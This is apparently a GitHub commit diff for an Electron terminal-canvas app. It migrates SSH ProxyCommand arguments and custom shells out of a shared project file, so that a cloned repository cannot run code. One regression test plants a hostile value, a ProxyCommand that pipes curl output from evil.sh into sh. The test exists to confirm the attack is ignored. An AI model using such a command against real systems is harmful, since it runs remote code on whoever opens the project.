Node-based terminal manager for AI coding agents — tmux-backed terminals and parallel agent sessions as draggable nodes on an infinite pan/zoom canvas. macOS, Linux, and a browser Server Edition.
TypeScript adhdagent-orchestrationai-agentscanvasclaude-codecodexcoding-agentsdeveloper-toolselectrongeminilinuxmacosmultiplexeropencodeparallel-agentsterminalterminal-emulatorterminal-multiplexertmuxworkspace-manager
fix(workspace): migrate existing shell / ssh.extraArgs into the machine-local index
enes5a2be6202df8
diff --git a/src/core/workspace-files.ts b/src/core/workspace-files.tsindex 33faa7b11..c220fadf9 100644--- a/src/core/workspace-files.ts+++ b/src/core/workspace-files.ts@@ -51,6 +51,18 @@ export interface IndexEntryV3 {* shell / advanced ssh args still survive a restart. Inline (`project`) entries need none: they* live in this same machine-local file already. */localExec?: LocalNodeExecMap+ /**+ * The one-time exec migration has run for this entry: its project file has been searched once for+ * the exec values it carried from BEFORE the trust boundary existed (a jump host's `ProxyCommand`+ * put there by `createSshTerminalNode`), and they were hoisted into `localExec` above.+ *+ * Absent = not migrated yet. Set on the first save after the upgrade for every entry whose file we+ * could actually READ — an entry that was unavailable at that moment stays unmarked, so its values+ * are still hoisted when the folder/server comes back. A folder adopted AFTER the upgrade is+ * written with the flag already set, which is what keeps a cloned project.json (hostile) out of+ * the hoist. See `hoistLegacyNodeExec`.+ */+ execMigrated?: boolean}export interface WorkspaceIndexV3 {diff --git a/src/core/workspace-store.test.ts b/src/core/workspace-store.test.tsindex fcba6ffe4..56a9e9760 100644--- a/src/core/workspace-store.test.ts+++ b/src/core/workspace-store.test.ts@@ -85,6 +85,99 @@ describe('v2 → v3 migration', () => {})})+// I1: `ssh.extraArgs` HAS a producer (createSshTerminalNode copies it out of the machine-local SSH+// server store), so every existing ssh-terminal node with a jump host has one in its CURRENT+// project.json while the index has no `localExec` for it. Without a migration the first load after+// the upgrade drops it (the connection breaks), and the next save erases it from disk and+// propagates the deletion to every teammate via `rev`. Silently.+describe('one-time exec migration (pre-existing project files)', () => {+ /** A v3 index + project file written the way the PRE-fix app wrote them. */+ const writeLegacy = async (extraArgs: string): Promise<void> => {+ await fs.mkdir(path.join(projRoot, '.nodeterm'), { recursive: true })+ await fs.writeFile(+ path.join(projRoot, '.nodeterm/project.json'),+ JSON.stringify({+ version: 1, rev: 3, savedAt: 'then', id: 'p1', name: 'foo', color: '#7aa2f7',+ viewport: { x: 0, y: 0, zoom: 1 },+ nodes: [+ {+ id: 'ssh-1', kind: 'terminal', position: { x: 0, y: 0 },+ size: { width: 1, height: 1 }, title: 't', color: '#fff', group: null,+ ssh: { host: 'h', user: 'u', extraArgs }+ }+ ]+ })+ )+ await fs.writeFile(+ path.join(userData, 'workspace.json'),+ JSON.stringify({+ version: 3, activeProjectId: 'p1',+ entries: [{ id: 'p1', name: 'foo', color: '#7aa2f7', cwd: projRoot }]+ })+ )+ }++ it("hoists the file's exec values into the machine-local index, once, and keeps them working", async () => {+ await writeLegacy('-o ProxyCommand=corp-proxy %h')+ const store = new WorkspaceStore()+ const loaded = await store.load()+ // The jump host still reaches the node — and it is marked as this machine's own, so the exec+ // site (buildSshArgs) honors it.+ expect(loaded.projects[0].nodes[0].ssh?.extraArgs).toBe('-o ProxyCommand=corp-proxy %h')+ expect(loaded.projects[0].nodes[0].ssh?.execTrusted).toBe(true)++ await store.save(loaded)+ const index = JSON.parse(await fs.readFile(path.join(userData, 'workspace.json'), 'utf-8'))+ expect(index.entries[0].localExec).toEqual({+ 'ssh-1': { sshExtraArgs: '-o ProxyCommand=corp-proxy %h' }+ })+ expect(index.entries[0].execMigrated).toBe(true)+ // …and it is gone from the SHARED file (that is the whole point).+ const file = JSON.parse(+ await fs.readFile(path.join(projRoot, '.nodeterm/project.json'), 'utf-8')+ )+ expect(file.nodes[0].ssh.extraArgs).toBeUndefined()+ expect(file.nodes[0].ssh.host).toBe('h')+ // The user is TOLD (one-time note), rather than finding out when something breaks.+ expect(+ fake.sent.some((m) => m.channel === 'workspace:migrated' && m.args[0] === 'exec')+ ).toBe(true)+ })++ it('never hoists twice: a project file changed AFTER the migration cannot re-arm it', async () => {+ await writeLegacy('-A')+ const store = new WorkspaceStore()+ await store.save(await store.load()) // migrates + records execMigrated+ // A teammate (or an attacker with a PR) puts an exec-enabling value back into the shared file.+ const fp = path.join(projRoot, '.nodeterm/project.json')+ const f = JSON.parse(await fs.readFile(fp, 'utf-8'))+ f.nodes[0].ssh.extraArgs = '-o ProxyCommand=curl evil.sh|sh'+ f.rev = 99+ await fs.writeFile(fp, JSON.stringify(f))++ const reloaded = await new WorkspaceStore().load()+ expect(reloaded.projects[0].nodes[0].ssh?.extraArgs).toBe('-A') // OUR value, not the file's+ })++ it('an unreadable ref is not marked migrated — its values are hoisted when it comes back', async () => {+ await writeLegacy('-o ProxyCommand=corp-proxy %h')+ const gone = path.join(projRoot, '.nodeterm/project.json')+ const keep = await fs.readFile(gone, 'utf-8')+ await fs.rm(gone)++ const store = new WorkspaceStore()+ const loaded = await store.load()+ expect(loaded.projects[0].unavailable).toBe(true)+ await store.save(loaded)+ const index = JSON.parse(await fs.readFile(path.join(userData, 'workspace.json'), 'utf-8'))+ expect(index.entries[0].execMigrated).toBeUndefined() // still owed++ await fs.writeFile(gone, keep) // the disk is back+ const back = await new WorkspaceStore().load()+ expect(back.projects[0].nodes[0].ssh?.extraArgs).toBe('-o ProxyCommand=corp-proxy %h')+ })+})+describe('unavailable & corrupt refs', () => {it('marks a ref with a missing folder unavailable (kept, greyed) instead of dropping it', async () => {const store = new WorkspaceStore()diff --git a/src/core/workspace-store.ts b/src/core/workspace-store.tsindex f7ebc4354..ac080e681 100644--- a/src/core/workspace-store.ts+++ b/src/core/workspace-store.ts@@ -9,8 +9,9 @@ import {import {PROJECT_DIR, PROJECT_FILE, fileToProject, projectToFile, sameProjectContent,serializeProjectFile, splitWorkspace,- type ProjectFileV1, type WorkspaceIndexV3+ type IndexEntryV3, type ProjectFileV1, type WorkspaceIndexV3} from './workspace-files'+import { hoistLegacyNodeExec, type LocalNodeExecMap } from '../shared/node-exec'/** Remote file access for SSH projects (implemented in src/main over SshFs — src/core stays electron-free). */export interface RemoteWorkspaceIO {@@ -37,6 +38,12 @@ export class WorkspaceStore {private lastWritten = new Map<string, string>()/** project id -> rev of the last written/loaded file. */private revs = new Map<string, number>()+ /** Entries whose one-time exec migration could NOT run (their project file was unreadable at load).+ * They stay unmarked on disk, so the hoist is retried when the folder/server comes back. */+ private execUnmigrated = new Set<string>()+ /** A hoist happened this load → show the one-time note (fired with the migration's save, exactly+ * like the v2→v3 one: a silent change to how the user's own config is stored is not acceptable). */+ private pendingExecNote = false/** Raw v2 file content, kept until the first save backs it up (migration). */private pendingV2Backup: string | null = null/** ssh project ids whose last mirror write was dropped (connection down). Retried on every@@ -104,15 +111,25 @@ export class WorkspaceStore {if (p) {this.revs.set(p.id, p.rev)this.lastWritten.set(projectFilePath(e.cwd), serializeProjectFile(p))- projects.push(fileToProject(p, { cwd: e.cwd, closed: e.closed, localExec: e.localExec }))+ projects.push(+ fileToProject(p, { cwd: e.cwd, closed: e.closed, localExec: this.execOverlay(e, p) })+ )} else {+ this.deferExecMigration(e)projects.push(unavailableProject(e))}} else if (e.ssh) {if (e.cache) {this.revs.set(e.id, e.cache.rev)- projects.push(fileToProject(e.cache, { ssh: e.ssh, closed: e.closed, localExec: e.localExec }))+ projects.push(+ fileToProject(e.cache, {+ ssh: e.ssh,+ closed: e.closed,+ localExec: this.execOverlay(e, e.cache)+ })+ )} else {+ this.deferExecMigration(e)projects.push(unavailableProject(e))}}@@ -123,6 +140,32 @@ export class WorkspaceStore {return { version: 2, activeProjectId: active, projects }}+ /**+ * The machine-local exec overlay for one ref'd entry — plus the ONE-TIME migration (see+ * `IndexEntryV3.execMigrated` / `hoistLegacyNodeExec`).+ *+ * `ssh.extraArgs` had a producer before the trust boundary existed, so an existing user's jump+ * host / corporate `ProxyCommand` is sitting in the CURRENT project file with no `localExec` to+ * match. Dropping it would break the connection and then, on the next save, erase it from disk and+ * propagate the deletion to every teammate. So for an entry that has not been migrated yet — i.e.+ * one that was ALREADY REFERENCED in this machine's workspace.json at upgrade time, which is the+ * provenance signal available — the file's own values are hoisted into the overlay once.+ * `localExec` (if any) still wins per node.+ */+ private execOverlay(e: IndexEntryV3, f: ProjectFileV1): LocalNodeExecMap | undefined {+ if (e.execMigrated) return e.localExec+ const hoisted = hoistLegacyNodeExec(f.nodes)+ if (!hoisted) return e.localExec+ this.pendingExecNote = true+ return { ...hoisted, ...e.localExec }+ }++ /** The file was unreadable, so the hoist could not run: leave the entry unmarked and retry it on+ * a later load. Anything dropped must be visible or recoverable — never silently gone. */+ private deferExecMigration(e: IndexEntryV3): void {+ if (!e.execMigrated) this.execUnmigrated.add(e.id)+ }+/*** Reads + parses one project file. Only the authoritative loadV3 path passes `sideline: true`,* which renames an unparsable/wrong-shape file to `.corrupt-<ts>` so a later save can't overwrite@@ -158,6 +201,14 @@ export class WorkspaceStore {// An unavailable placeholder carries no real data. splitWorkspace already dropped its file// and cache; here we restore the machine-local payload (ssh offline cache) from the previous// index so the index rewrite doesn't drop a good cache we still can't reach.+ // The one-time exec migration is now recorded, so it never runs again for these entries — which+ // is what keeps a project.json cloned AFTER the upgrade (the hostile case) out of the hoist. An+ // entry whose file we could not read at load stays unmarked, so it is retried.+ for (const e of index.entries) {+ if (e.project) continue // inline canvases live in this machine-local file already+ if (!this.execUnmigrated.has(e.id)) e.execMigrated = true+ }+const unavailableIds = new Set(workspace.projects.filter((p) => p.unavailable).map((p) => p.id))if (unavailableIds.size) {for (const e of index.entries) {@@ -219,7 +270,11 @@ export class WorkspaceStore {await writeAtomic(this.indexPath, JSON.stringify(index))this.index = index- if (migrating) platform().broadcast(IPC.workspaceMigrated)+ if (migrating) platform().broadcast(IPC.workspaceMigrated, 'v2')+ if (this.pendingExecNote) {+ this.pendingExecNote = false+ platform().broadcast(IPC.workspaceMigrated, 'exec')+ }this.onPersist?.()}diff --git a/src/preload/index.ts b/src/preload/index.tsindex 60472e660..eba73a111 100644--- a/src/preload/index.ts+++ b/src/preload/index.ts@@ -9,7 +9,8 @@ import type {RecycledInfo,UpdateInfo,UpdateProgress,- Workspace+ Workspace,+ WorkspaceMigrationKind} from '../shared/types'import type { ClientId, PeerDiff, PeerIdentity, PeerState } from '../shared/presence'@@ -100,8 +101,9 @@ const api: NodeTerminalApi = {load: () => ipcRenderer.invoke(IPC.workspaceLoad),save: (workspace: Workspace) => ipcRenderer.invoke(IPC.workspaceSave, workspace),probeFolder: (folder: string) => ipcRenderer.invoke(IPC.workspaceProbeFolder, folder),- onMigrated: (cb: () => void) => {- const h = () => cb()+ onMigrated: (cb: (kind: WorkspaceMigrationKind) => void) => {+ // Older mains broadcast no payload; that was the v2→v3 migration.+ const h = (_e: unknown, kind?: WorkspaceMigrationKind) => cb(kind ?? 'v2')ipcRenderer.on(IPC.workspaceMigrated, h)return () => ipcRenderer.removeListener(IPC.workspaceMigrated, h)},diff --git a/src/renderer/canvas/Canvas.tsx b/src/renderer/canvas/Canvas.tsxindex e400f48ea..658064363 100644--- a/src/renderer/canvas/Canvas.tsx+++ b/src/renderer/canvas/Canvas.tsx@@ -1116,11 +1116,14 @@ export function Canvas() {})}, [reloadActiveProject])- // One-shot note after a v2→v3 on-disk migration (dismissible, non-blocking strip).+ // One-shot note after an on-disk migration (dismissible, non-blocking strip). Both kinds change+ // where the user's data lives, so neither may happen silently.useEffect(() => {- return window.nodeTerminal.workspace.onMigrated(() => {+ return window.nodeTerminal.workspace.onMigrated((kind) => {setMigrationNote(- 'Projects now live in a .nodeterm folder inside each project directory — commit it to share the canvas, or add it to .gitignore.'+ kind === 'exec'+ ? 'Custom shells and advanced SSH options (e.g. a ProxyCommand jump host) are no longer stored in the shared .nodeterm/project.json — a cloned repo could use them to run code. They still work here: they moved to this machine only, and your teammates no longer receive them.'+ : 'Projects now live in a .nodeterm folder inside each project directory — commit it to share the canvas, or add it to .gitignore.')})}, [])diff --git a/src/shared/node-exec.ts b/src/shared/node-exec.tsindex 72e02cd35..a7aa1d7ce 100644--- a/src/shared/node-exec.ts+++ b/src/shared/node-exec.ts@@ -138,6 +138,36 @@ export function localNodeExec(nodes: CanvasNodeState[]): LocalNodeExecMap | undereturn Object.keys(map).length ? map : undefined}+/**+ * ONE-TIME UPGRADE. Take the exec values a project file carried from BEFORE this trust boundary+ * existed, and adopt them as this machine's own.+ *+ * `ssh.extraArgs` has a real producer (`createSshTerminalNode` copies it out of the machine-local+ * SSH server store), so every existing ssh-terminal node with a jump host or a corporate+ * `ProxyCommand` has one in its CURRENT `.nodeterm/project.json` — and the v3 index has no+ * `localExec` for it. Without this hoist the first load after the upgrade would silently drop the+ * value (the connection breaks with a confusing error) and the next save would erase it from disk+ * and propagate the deletion to every teammate via `rev`.+ *+ * The provenance signal is the one actually available at upgrade time: the project was ALREADY+ * REFERENCED in this machine's `workspace.json`, i.e. it is a folder this user had already opened.+ * The caller runs this exactly once per entry (`IndexEntryV3.execMigrated`), so a project file+ * cloned AFTER the upgrade — the hostile case — never reaches it.+ *+ * `shell` is still validated: it has no producer, so anything there is either junk or an attack,+ * and blessing a value the exec site would refuse anyway buys nothing.+ */+export function hoistLegacyNodeExec(nodes: CanvasNodeState[]): LocalNodeExecMap | undefined {+ const map: LocalNodeExecMap = {}+ for (const n of nodes) {+ const entry: LocalNodeExec = {}+ if (n.shell && safeSessionProgram(n.shell)) entry.shell = n.shell+ if (n.ssh?.extraArgs) entry.sshExtraArgs = n.ssh.extraArgs+ if (entry.shell || entry.sshExtraArgs) map[n.id] = entry+ }+ return Object.keys(map).length ? map : undefined+}+/*** Re-attach this machine's own exec values to nodes just read from a project file. Anything the* FILE carried in those fields is dropped first (it is not ours), so a hostile/cloned project.jsondiff --git a/src/shared/types.ts b/src/shared/types.tsindex 652019340..8aa9337fb 100644--- a/src/shared/types.ts+++ b/src/shared/types.ts@@ -314,13 +314,17 @@ export interface PtyApi {onResync(sessionId: string, listener: (screen: string) => void): () => void}+export type WorkspaceMigrationKind = 'v2' | 'exec'+export interface WorkspaceApi {load(): Promise<Workspace>save(workspace: Workspace): Promise<void>/** Reads <folder>/.nodeterm/project.json and returns the assembled Project (cwd resolved), or null. */probeFolder(folder: string): Promise<Project | null>- /** Fired once after a v2→v3 migration wrote .nodeterm/ dirs into project folders. */- onMigrated(cb: () => void): () => void+ /** Fired once after an on-disk migration: `v2` = a v2→v3 migration wrote .nodeterm/ dirs into the+ * project folders; `exec` = the custom shell / advanced ssh args of already-open projects moved+ * out of the shared project file into this machine's own workspace index (@shared/node-exec). */+ onMigrated(cb: (kind: WorkspaceMigrationKind) => void): () => void/** Fired when a project file changed on disk outside the app (git pull, sync, teammate). */onExternalChange(cb: (project: Project) => void): () => void}